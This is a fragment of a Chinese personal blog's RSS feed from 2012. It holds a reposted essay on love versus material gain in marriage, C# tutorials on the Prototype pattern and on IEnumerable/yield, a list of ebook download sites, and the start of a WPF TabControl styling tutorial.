      <guid>http://blog.leaver.me/2012/10/20/%E5%85%B3%E4%BA%8E%E7%88%B1%E6%83%85%E5%92%8C%E7%88%B1%E6%83%85%E7%9A%84%E9%99%84%E5%8A%A0%E5%80%BC/</guid>
      <description>&lt;p&gt;　　看到一篇好文。出处未找到。分享之。如果你不能静下来看完。那么就看我画出来的部分吧。&lt;/p&gt;
&lt;p&gt;　　我一直在想，假如查尔斯王子只是一个普通的男人，那么19岁的戴安娜还会在明知他另有所爱的情况下嫁给他吗？在戴安娜一段被公开的录音带中，她曾经说大婚那天是她生命中最糟糕的一天——“我的心像死一样平静，我感觉自己像待宰的羔羊。”&lt;/p&gt;
&lt;p&gt;　　她其实是可以不必那么可怜的，没有人把她送到案板上，是她自己愿意的。如果她不肯，谁还会强迫她站在教堂里对另一个男人说“我愿意”，是她自己说的。但是能责怪她吗？假如换着是我，我是不是也会说“我愿意”呢？我能分得清楚我是在对一个比自己年长很多而又与前情人藕断丝连的男人说“我愿意”，还是对那一顶令人羡慕的未来王冠说“我愿意”？即使当时年幼，戴安娜分不清楚这二者的区别，但后来她实际上也是有很多机会的。当他与查尔斯王子名存实亡以后，她是可以选择离婚的，但是她迟迟不肯，即使全世界都知道他们感情不在，她依然固执的要求保留“王妃”的头衔。也许是她已经习惯被称为“戴安娜王妃”，也许是她觉得自己为这个称号付出了太多，所以她不能失去这一荣誉。&lt;/p&gt;
&lt;p&gt;　　据说英国电视台要以查尔斯、戴安娜和卡米拉的故事为蓝本拍一个片子，名字叫《爱情究竟是什么》。是呀，敢问情是何物，竟叫人生死相许？&lt;/p&gt;
&lt;p&gt;　　我是读着《简·爱》长大的，我的爱情启蒙就是那个出生卑微的女教师对身份高贵的男主人说的那段话：“你以为我穷，不美，就没有感情吗？我也有的，假如上帝赐予我美貌与财富，我一定会使你难以离开我，正如我现在难以离开你，上帝没有这样做，但是我们的精神是平等的……”&lt;/p&gt;
&lt;p&gt;　　待我长大一点，我冷不丁地想：如果上帝赐予简·爱小姐美貌与财富，她还会爱上那个又老脾气又坏的罗切斯特先生吗？不要责怪女人对爱情的态度，除了七仙女，没有几个女人会看上卖身为奴的董永。七仙女不食人间烟火，她有神仙血统，人间名利对于她来说，只要她想要，还不是唾手可得？她要的是一个她喜欢的男人，只要她喜欢就够了。你挑水我浇园，夫妻恩爱不夜天。对于七仙女来说，爱就是一件简单得不能再简单的事情。她不指望从爱情中再捞到些别的，因为别的，她可以用别的方式得到，惟有爱情本身是不可替代的。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;但是对于我们寻常女子来说，我们能做得到吗？喜欢上一个男人，就跟他欢天喜地？我相信许多人是做不到的，因为我们对爱情的指望太多，我们期待从爱情中得到“附加值。我们对自己说，世上没有无缘无故的爱，如果爱一个人，不能给自己带来提升，为什么要爱他呢？甚至有许许多多的爱情指南大大方方地告诉我们：干得好不如嫁得好，为什么不能一举两得？嫁一个优秀的男人，既得到爱情又得到财富。是呀，为什么不呢？问题是世界上哪里有那么多便宜事？即使美丽如戴安娜王妃都无法如愿，何况我们呢？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　要女人在一开始就分清楚，爱一个人，还是爱一个人所能提供的生活，这是很难的。跳水公主郭晶晶在被问到与富家公子的关系时，她说：“我爱一个男人不是爱他的钱，而是他的修养。”听到她这话的人都笑了：“原来不是为钱啊，如果那个男人是一个穷光蛋，你会发现他有修养吗？”&lt;/p&gt;
&lt;p&gt;　　看过李少红拍的一部电视剧《橘子红了》，当中有一个周迅扮演的角色，名字叫秀禾。她本是一个穷人家的女孩子，为了改善家庭经济，缓解家人负担，自愿嫁到富人家里做三姨太，因为样貌可爱深得老爷喜欢，但是她在满足了一切物质需要以后，她发现自己真正爱的人是老爷的弟弟。&lt;/p&gt;
&lt;p&gt;　　女人总是这样的，常常听女人评论什么样的男人不值得爱，她们往往会撇着嘴说，那些不成功没有经济能力的男人是不能嫁的，他们缺乏富人的风度和心胸。其实女人自己何尝不是这样？那些没有尝过富裕生活滋味的女人，有几个能像张曼玉那样，冷冰冰的抛出一句台词：“你有钱有什么了不起？我也有啊！”&lt;/p&gt;
&lt;p&gt;　　在年少无知的时候，常常搞不懂富人家的女人为什么会偷情。尤其是封建社会，那是一旦被发现就要沉塘的死罪，可是为什么女人会冒着生命风险去做这等事情？就像秀禾，嫁给老爷之前，她的幸福愿望就是能得到老爷的宠爱，能对得起大太太的照顾，但是当她轻而易举地得到这一切以后，她却发现自己很痛苦。甚至比嫁入豪门之前还痛苦，那时她不过是穷，但是现在她觉得不自由，因为她没有爱情。&lt;/p&gt;
&lt;p&gt;　　爱情究竟是什么？这个世界上到底是否存在纯粹的爱情？是什么让罗密欧与朱利叶生死相随？是什么让温莎公爵舍弃江山和王位？难道真的是因为他们幼稚或一时冲动吗？我相信不是。爱是一种无法替代的感情，除了和你爱的人在一起，否则你无法感受到爱的幸福。但是爱情的附加值则是可以替代的，如果你希望通过爱情而获得财富，那么当你获得财富以后，你就不认为你还需要和那个财富的提供者在一起。尤其当你借此成长起来，并且建立了自己的财富王国，你就不愿再忍受当初那个“男人”。因为你自己也有了，所以他在你的生活中很快就会成为一个多余的人，一个碍手碍脚的人，一个妨碍你追求幸福和自由的人。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;出生于法国的英国作家毛姆曾经说过：“感情有理智所根本不能理解的理由。”他在传世之作《月亮和六便士》（卓越 当当 京东）中描写了一个名叫爱施略夫的男人，那是一个从任何一个角度讲都称得上是“好丈夫”的男人。他有钱，给妻子提供了安逸的生活，他对妻子很好，什么事情都由着她的心思。而她的妻子对他也一直很不错，直到有一天，他的妻子遇到一名穷困潦倒生活不能自理的画家。这名画家的原型据说是高更。人们都谴责这名画家勾引了这名良家妇女，但是毛姆另有解释，原话摘录如下：“过去我认为她爱施特略夫，实际上只是男人的爱抚和生活的安适在女人身上引起的自然反应。大多数女人都把这种反应当爱情了。这是一种对任何一个人都可能产生的被动的感情，正像藤蔓可以攀附在随便哪株树上一样。因为这种感情可以叫一个女孩子嫁给任何一个需要她的男人，相信日久天长便会对这个人产生爱情，所以世俗的见解便断定了它的力量。但是说到底，这种感情是什么呢？它只不过是对有保障的生活的满足，对拥有家资的骄傲，对有人需要自己沾沾自喜，和对建立起自己的家庭洋洋得意而已。女人们秉性善良、喜爱虚荣，因此便认为这种感情极富于精神价值。但是在冲动的热情面前，这种感情是毫无防卫能力的。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　女人在爱一个男人的时候，到底是更爱这个男人本身，还是爱他所能提供的生活品质？当女人一无所有的时候，那些爱情的附加值将对女人具有极大的诱惑力，但是当她自己成长起来，足够强大到凭自己的能力也可以得到梦想的生活时，那些所谓的附加值在女人眼里就一钱不值了。凡是通过努力通过购买可以得到的东西，独立女性在成功以后也是可以享受得到的，为什么要靠男人？但是爱情却是可遇不可求的，好容易在茫茫人海中看到一个如意的人，那种冲动就像七仙女看到董永一样，她一定是迫不及待地下凡，因为惟有下凡，才体会得到凡间的快乐。&lt;/p&gt;
&lt;p&gt;　　我一个女性朋友，有一段时间一直犹豫不决。两个男人她都喜欢，男人甲与她青梅竹马，男人乙与她邂逅相逢。男人乙是一公司的高级职员，有车有房经常带她去吃西餐，男人甲在一名不见经传的公司做文案，骑自行车租地下室偶尔在外面吃一顿，也都是马兰拉面麦当劳。她很苦恼，她说喜欢与男人甲在一起的感觉，虽然穷，但是总是有很多话很快乐很亲密，但是她不喜欢与男人甲在一起的生活。虽然男人甲对她保证两年内就可以攒足房子的首付，但是要等两年，而且那房子一定是四环以外的。至于男人乙，她喜欢他所提供的生活，但是她觉得他很闷，与他在一起她总是很紧张，连吃西餐刀叉的姿势都在家练了又练。我们说，你可以等一等，不用很着急呀。但是她很着急，我知道她急什么，她等不得，她要立刻兑现。既然这样，她当然要选择那位经常能带她去吃西餐的男人乙了，因为对于她来说，这样的男人属于现钞。&lt;/p&gt;
&lt;p&gt;　　也许因为男人乙很闷吧，再加上高级职员的工作很忙，她婚后仍有大把时间。她是一个很努力的女人，大部分时间都用来进修，反正老公有钱，那么学习总不是错吧？之后她跳槽，升职，加薪，她轻而易举地买了自己想买的房子，但是她却不肯与自己的老公分享，因为他没有爱的价值。&lt;/p&gt;
&lt;p&gt;　　不要说我的朋友不痛苦，她如果不痛苦她就不会找我倾诉了。她想再找回当年的感情，但是那难度比找回去年的雪还大。她常常抱怨，我当时为什么这么傻？不就是一个三环边的房子和一辆富康车吗？不就是几顿小情小调的西餐吗？我就答应和他生活一辈子，一辈子是多长的时间啊！&lt;/p&gt;
&lt;p&gt;　　我们都不能否认爱情中除了有爱情还有其他的东西，自古以来就有无数女人通过爱一个男人而彻底改变自己命运的例子，那些女人到底是幸运还是不幸？我想假如她们像从来没有吃过禁果的夏娃，或者像从来没有向人间偷窥的七仙女，她们也许是幸运的，因为她们不知道什么叫爱情。她们以为爱情就是她们已经得到的生活，但是千万不要让她们接触到任何与爱有关的事物，那会大大刺激她们的。她们在刺激之下，会觉得自己是最可怜的女人。就像查泰莱夫人一样，丈夫那样有地位有身份，但是当她懂得什么叫世间的爱之后，她还是义无返顾抛家舍业。因为她知道，那种爱是无法替代的，是物质生活不能补偿的。我不希望你像查泰莱夫人一样，在忍受那么多屈辱、不幸、心灵的折磨之后，才奔向情人的怀抱。你原本是没必要给自己找那么多麻烦的，&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一个你不爱的男人，即使一切都好，又能好到哪里去呢？无非是他能给一些你现在还得不到的生活品质，但是如果你对自己有信心，那些所谓的生活品质是很难达到的吗？也许现在你会为一个肯送你路易威登手提袋的男人而心动，但是当你自己可以到巴黎总店随便挑选的时候，你还会为那个男人心动吗？你还会因为他送得起这样一个昂贵的包而凭空给他打几个高分吗？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;世间值得追求的东西很多，但惟有爱情，是必须真心相爱才可以尝到它的滋味的。而其他的东西，你得到它的途径其实有很多，并不一定非要通过和一个人结婚才可以得到。既然这样，你为什么要给自己的爱设定那么高的门槛？我担心的不是你对爱的要求太高，我是担心迈得进你门槛的人，恰恰都是与爱无关的人。因为真爱是不需要门槛的，而且也不屑于门槛。爱是两情相悦，你情我愿，又不是在自由市场挑西红柿，非要找性能价格，比最合理的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　恋人之间最爱问的一句话，大概就是“你爱我什么？”从来没有人会说我爱你的钱，你的财富，你所能给我提供的生活，为什么？因为我们都知道那太煞风景。至今为止，我听到的最动人的答案是一句英文：“I LOVE YOU NOT BECAUSE OF WHO YOU ARE，BUT BECAUSE OF WHO I AM WHEN I AM WITH YOU.”我不知道如何把它翻译得浪漫多情，但是我想即使是直截了当的翻译，那其中的真情也足以动人：我爱你，并不是因为你是谁，而是因为和你在一起时，我才是最真实的我。&lt;/p&gt;
&lt;p&gt;[text]PS:私自觉得那句英文应该翻译为：我爱你，不是因为你是谁，而是因为我在你面前可以是谁。[/text]&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现原型模式-实现ICloneable接口.理解深浅拷贝</title>
      <link>http://blog.leaver.me/2012/10/19/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%8E%9F%E5%9E%8B%E6%A8%A1%E5%BC%8F-%E5%AE%9E%E7%8E%B0icloneable%E6%8E%A5%E5%8F%A3.%E7%90%86%E8%A7%A3%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D/</link>
      <pubDate>Fri, 19 Oct 2012 09:27:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/19/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%8E%9F%E5%9E%8B%E6%A8%A1%E5%BC%8F-%E5%AE%9E%E7%8E%B0icloneable%E6%8E%A5%E5%8F%A3.%E7%90%86%E8%A7%A3%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D/</guid>
      <description>&lt;p&gt;本文用C#实现原型模式,也会讨论深浅拷贝,已经如何在.net中高效实现ICloneable 接口
&lt;strong&gt;介绍&lt;/strong&gt;
有时候我们需要从上下文得到一个对象的拷贝，然后通过一些独立的操作来处理他。原型模式在这种情况下很适用&lt;/p&gt;
&lt;p&gt;GoF 定义原型模式为用原型实例指定创建对象的种类，并且通过拷贝这些原型创建新的对象。
Specify the kind of objects to create using a prototypical instance, and create new objects by copying this prototype.&amp;quot;&lt;/p&gt;
&lt;p&gt;看一下类图&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28239_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/e7e0d35a2192ac4360d169e4e1cb8fdb6a1113da.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;主要的参与者有
• Prototype: 抽象类或接口，定义了方法来拷贝自己
• ConcretePrototype: 克隆的具体类.
• Client: 需要执行拷贝对象的软件对象
然后实现吧&lt;/p&gt;
&lt;p&gt;使用代码&lt;/p&gt;
&lt;p&gt;为了简化。我以一个著名的偷车游戏作为例子
我们说游戏里有一个注脚。这个主要有着一些定义游戏数据的统计量。保存游戏的时候我们就需要拷贝这个对象，然后序列化到文件中。（仅仅是举个例子，真实的游戏里很少这样做）&lt;/p&gt;
&lt;p&gt;下面这个类抽象类就是概念中的Prototype&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public abstract class AProtagonist
{
    int m_health;
    int m_felony;
    double m_money;

    public int Health
    {
        get { return m_health; }
        set { m_health = value; }
    }

    public int Felony
    {
        get { return m_felony; }
        set { m_felony = value; }
    }

    public double Money
    {
        get { return m_money; }
        set { m_money = value; }
    }

    public abstract AProtagonist Clone();
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;接口定义了玩家重要的信息，然后定义了一个Clone方法。然后我们定义一个具体的玩家类CJ。这样我们可以克隆当前对象，然后异步的进行序列化&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class CJ : AProtagonist
{
    public override AProtagonist Clone()
    {
        return this.MemberwiseClone() as AProtagonist;
    }
}&lt;/pre&gt;
&lt;p&gt;这个类就是概念中的ConcretePrototype 。这里为了简化也没有其他一些方法了。&lt;/p&gt;
&lt;p&gt;现在看看客户端软件的写法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;static void Main(string[] args)
{
    // 演示原型模式
    CJ player = new CJ();
    player.Health = 1;
    player.Felony = 10;
    player.Money = 2.0;

    Console.WriteLine(&#34;Original Player stats:&#34;);
    Console.WriteLine(&#34;Health: {0}, Felony: {1}, Money: {2}&#34;, 
        player.Health.ToString(), 
        player.Felony.ToString(), 
        player.Money.ToString());

    // 这里是拷贝部分.
    CJ playerToSave = player.Clone() as CJ;            

    Console.WriteLine(&#34;\nCopy of player to save on disk:&#34;);
    Console.WriteLine(&#34;Health: {0}, Felony: {1}, Money: {2}&#34;, 
        playerToSave.Health.ToString(), 
        playerToSave.Felony.ToString(), 
        playerToSave.Money.ToString());
}&lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28245_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ab28ca0c722912c55072bc471d50cb94d9ee8bb8.jpg&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>实现IEnumerable接口&amp;理解yield关键字</title>
      <link>http://blog.leaver.me/2012/10/19/%E5%AE%9E%E7%8E%B0ienumerable%E6%8E%A5%E5%8F%A3%E7%90%86%E8%A7%A3yield%E5%85%B3%E9%94%AE%E5%AD%97/</link>
      <pubDate>Fri, 19 Oct 2012 07:33:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/19/%E5%AE%9E%E7%8E%B0ienumerable%E6%8E%A5%E5%8F%A3%E7%90%86%E8%A7%A3yield%E5%85%B3%E9%94%AE%E5%AD%97/</guid>
      <description>&lt;p&gt;本文讨论题目的内容。然后讨论IEnumerable接口如何使得foreach语句可以使用。之后会展示如果实现自定义的集合类，该集合类实现了IEnumerable接口。Yield关键字和遍历集合后面也讨论。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一使用集合。就发现遍历集合就跟着来了。遍历集合最好的方式是实现迭代器模式-&lt;a href=&#34;http://www.codeproject.com/Articles/362986/Understanding-and-Implementing-the-Iterator-Patter&#34;&gt;Understanding and Implementing the Iterator Pattern in C# and C++&lt;/a&gt;(这篇文章我过几天翻译一下) ，C#提供foreach来以一种优雅的方式遍历&lt;/p&gt;
&lt;p&gt;只要集合实现了IEnumerable 接口就可以用foreach来遍历。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先先看一下内置的集合类如何使用foreach来遍历的。ArrayList实现了IEnumerable 接口。我们看一下&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 看一下实现了IEnumerable 接口的集合如何遍历
ArrayList list = new ArrayList();

list.Add(&#34;1&#34;);
list.Add(2);
list.Add(&#34;3&#34;);
list.Add(&#39;4&#39;);

foreach (object s in list)
{
    Console.WriteLine(s);
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;遍历泛型集合类&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Arraylist 是一个通用集合类，遍历泛型集合类也可以。因为这些泛型集合类实现了IEnumerable&amp;lt;T&amp;gt;接口，看一下吧。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 遍历实现了IEnumerable&amp;lt;T&amp;gt;接口的泛型类
List&amp;lt;string&amp;gt; listOfStrings = new List&amp;lt;string&amp;gt;();

listOfStrings.Add(&#34;one&#34;);
listOfStrings.Add(&#34;two&#34;);
listOfStrings.Add(&#34;three&#34;);
listOfStrings.Add(&#34;four&#34;);

foreach (string s in listOfStrings)
{
    Console.WriteLine(s);
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;发现了吧。我们自定义的集合类或是泛型集合类应该实现IEnumerable和IEnumerable&amp;lt;T&amp;gt;接口。这样就可以遍历了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;理解yield关键字&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在写个实现接口的例子之前，先理解一下yield关键字，yield会记录集合位置。当从一个函数返回一个值的时候，yield可以用。&lt;/p&gt;
&lt;p&gt;如下的普通的方法。不论调用多少次，都只会返回一个return&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;static int SimpleReturn()
{
    return 1;
    return 2;
    return 3;
}

static void Main(string[] args)
{
    // 看看
    Console.WriteLine(SimpleReturn());
    Console.WriteLine(SimpleReturn());
    Console.WriteLine(SimpleReturn());
    Console.WriteLine(SimpleReturn());
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;原因就是普通的return语句不保留函数的返回状态。每一次都是新的调用。然后返回第一个值。&lt;/p&gt;
&lt;p&gt;但是使用下面的语句替换后就不一样。当函数第二次调用的时候。会从上次返回的地方继续调用&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;static IEnumerable&amp;lt;int&amp;gt; YieldReturn()
{
    yield return 1;
    yield return 2;
    yield return 3;
}
static void Main(string[] args)

{
    // 看看yield return的效果
    foreach (int i in YieldReturn())
    {
        Console.WriteLine(i);
    }
}&lt;/pre&gt;
&lt;p&gt;显然返回1，2，3，唯一要注意的就是函数需要返回IEnumerable。，然后通过foreach调用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在自定义的集合类里实现Ienumerable接口&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;现在如果我们在我们的自定义集合里定义一个方法。来迭代所有元素。然后通过使用yield返回。我们就可以成功了。&lt;/p&gt;
&lt;p&gt;好。我们定义MyArrayList 类，实现IEnumerable 接口，该接口就会强制我们实现GetEnumerator 函数。这里我们就要使用yield了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class MyArrayList : IEnumerable
{
    object[] m_Items = null;
    int freeIndex = 0;

    public MyArrayList()
    {
        // 对了方便我直接用数组了，其实应该用链表
       m_Items = new object[100];
    }

    public void Add(object item)
    {
        // 考虑添加元素的时候
        m_Items[freeIndex] = item;
        freeIndex++;
    }

    // IEnumerable 函数
    public IEnumerator GetEnumerator()
   {
       foreach (object o in m_Items)
        {
           // 检查是否到了末尾。数组的话。。。没写好
            if(o == null)
            {
                break;
            }

            // 返回当前元素。然后前进一步
            yield return o;
        }
    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>分享几个电子书资源站点</title>
      <link>http://blog.leaver.me/2012/10/18/%E5%88%86%E4%BA%AB%E5%87%A0%E4%B8%AA%E7%94%B5%E5%AD%90%E4%B9%A6%E8%B5%84%E6%BA%90%E7%AB%99%E7%82%B9/</link>
      <pubDate>Thu, 18 Oct 2012 11:12:01 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/18/%E5%88%86%E4%BA%AB%E5%87%A0%E4%B8%AA%E7%94%B5%E5%AD%90%E4%B9%A6%E8%B5%84%E6%BA%90%E7%AB%99%E7%82%B9/</guid>
      <description>&lt;p&gt;看到书签里有好些电子书的资源站。今天心情不错。遂起了分享的念头。。&lt;/p&gt;
&lt;p&gt;对于计算机相关专业人隆重推荐&lt;a href=&#34;http://www.xiaoshuwu.in/&#34;&gt;小书屋&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;作者很认真的在分享技术/安全/心理学/技术PPT方面的书籍。算是国内技术书籍比较好的分享站点了。&lt;/p&gt;
&lt;p&gt;如果你没有找到自己喜欢的书。那么试试&lt;a href=&#34;http://forfrigg.com/&#34;&gt;forfrigg&lt;/a&gt;，是一个电子书籍整合站点。使用该网站。不只可以下载kindle书籍。更是能够搜索新浪，doukan等诸多网盘内容。实乃书籍下载必备引擎啊。&lt;/p&gt;
&lt;p&gt;什么？你只想下载百度文库的？没积分？好吧。那我告诉你一个类似的镜像站点&amp;ndash;&lt;a href=&#34;http://www.wenkudaquan.com/&#34;&gt;文库大全&lt;/a&gt;，这个站和百度文库差不多。资源很丰富。想下什么。就去下吧。。&lt;/p&gt;
&lt;p&gt;如果在这里没找到。。而你发现百度文科的积分是0 1 2 5那么试试&lt;a href=&#34;http://www.bangshouwang.com/&#34;&gt;帮手&lt;/a&gt;吧。免费下载。原版哦。稍多一点的积分就不可以了。如果你和博主私交不错。我帮你搞定。&lt;/p&gt;
&lt;p&gt;如果你是大牛。。只喜欢看英文原版的。。那么先去&lt;a href=&#34;http://www.qcenglish.com/&#34;&gt;七彩英语&lt;/a&gt;看看吧，优秀的英文电子书下载站。从技术到小说应有尽有。界面也漂亮。&lt;/p&gt;
&lt;p&gt;还嫌少？那去国外溜达吧。&lt;a href=&#34;http://www.ebook-downloader.com/&#34;&gt;ebook-downloader&lt;/a&gt; 随时欢迎你的光临。全球最大电子书下载平台。。尽情享受阅读的快感吧。。&lt;/p&gt;
&lt;p&gt;update:感谢@Shiyao Yu的推荐-&lt;a href=&#34;http://www.ppurl.com&#34;&gt;皮皮书屋&lt;/a&gt;。很小众。但资源很全。需注册。注册用户每天可下三本。最喜欢小众什么的了。我试着搜了一下计算机的。确实挺全。&lt;/p&gt;
&lt;p&gt;ps:如果你收藏了其他的站点。不妨留言回复。&lt;/p&gt;</description>
    </item>
    <item>
      <title>模拟Office2010文件菜单的TabControl模板</title>
      <link>http://blog.leaver.me/2012/10/17/%E6%A8%A1%E6%8B%9Foffice2010%E6%96%87%E4%BB%B6%E8%8F%9C%E5%8D%95%E7%9A%84tabcontrol%E6%A8%A1%E6%9D%BF/</link>
      <pubDate>Wed, 17 Oct 2012 10:00:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/17/%E6%A8%A1%E6%8B%9Foffice2010%E6%96%87%E4%BB%B6%E8%8F%9C%E5%8D%95%E7%9A%84tabcontrol%E6%A8%A1%E6%9D%BF/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28185_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2ad13c7f6efeae2f1463e231f11d164126743c47.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这是Office2010中的文件菜单点开后的效果。本文我将以强大的WPF来实现类似的效果。希望你能有所收获。而不是只拷贝/粘贴代码而已。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;开始之前。先把TabControl找个地方放着。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Window x:Class=&#34;TestClient.MainWindow&#34;

        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;

        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;

        Title=&#34;MainWindow&#34; Height=&#34;350&#34; Width=&#34;525&#34;&amp;gt;

    &amp;lt;TabControl Name=&#34;tabSteps&#34;&amp;gt;

        &amp;lt;TabItem Header=&#34;Info&#34; IsSelected=&#34;True&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Info content&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Recent&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Recent content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;New&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;New content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Print&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Print content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Save &amp;amp;amp; Send&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Save &amp;amp;amp; send content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Help&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Help tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

    &amp;lt;/TabControl&amp;gt;

&amp;lt;/Window&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后会大概是这个效果&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28186_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/797a20d8d2f0489af03c4d57e307fcf0c14657be.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;为了改变TabControl的显示效果。我们使用模板机制，我们把模板写进一个资源字典里。这样就可以重用了。添加一个资源字典的步骤如下&lt;/p&gt;
&lt;p&gt;右键点击工程-添加-资源字典&lt;/p&gt;
&lt;p&gt;然后在资源字典里添加一些代码。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;  &amp;lt;ControlTemplate x:Key=&#34;OfficeTabControl&#34; TargetType=&#34;{x:Type TabControl}&#34;&amp;gt;

        &amp;lt;Grid&amp;gt;

            &amp;lt;Grid.ColumnDefinitions&amp;gt;

                &amp;lt;ColumnDefinition Width=&#34;160&#34; /&amp;gt;

                &amp;lt;ColumnDefinition/&amp;gt;

            &amp;lt;/Grid.ColumnDefinitions&amp;gt;

            &amp;lt;Border Background=&#34;#FFE9ECEF&#34;

                    Grid.Column=&#34;0&#34;

                    BorderBrush=&#34;LightGray&#34;

                    BorderThickness=&#34;1&#34;

                    SnapsToDevicePixels=&#34;True&#34; /&amp;gt;

            &amp;lt;StackPanel IsItemsHost=&#34;True&#34;

                        Grid.Column=&#34;0&#34;

                        Margin=&#34;0,0,-1,0&#34;

                        SnapsToDevicePixels=&#34;True&#34; /&amp;gt;

            &amp;lt;ContentPresenter

                Content=&#34;{TemplateBinding SelectedContent}&#34;

                Grid.Column=&#34;1&#34;

                Margin=&#34;15,0,0,0&#34; /&amp;gt;

        &amp;lt;/Grid&amp;gt;

    &amp;lt;/ControlTemplate&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;这样就添加了一个有一个grid元素的名为OfficeTabControl的控件模板 . Grid 被分成两列，一列是标签页，一列是页内容。左边的列包含一个灰色背景和亮灰色的边缘线，然后一个StackPanel，IsItemsHost属性被设置为true，&lt;/p&gt;
&lt;p&gt;这样标签项被会放在这个栈面板里。第二列是ContentPresenter 这会放置标签页内容。然后让我们前面的TabControl使用新模板。设置Template 属性。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; &amp;lt;Window.Resources&amp;gt;

        &amp;lt;ResourceDictionary&amp;gt;

            &amp;lt;ResourceDictionary.MergedDictionaries&amp;gt;

                &amp;lt;ResourceDictionary Source=&#34;OfficeTab.xaml&#34; /&amp;gt;

            &amp;lt;/ResourceDictionary.MergedDictionaries&amp;gt;

        &amp;lt;/ResourceDictionary&amp;gt;

    &amp;lt;/Window.Resources&amp;gt;

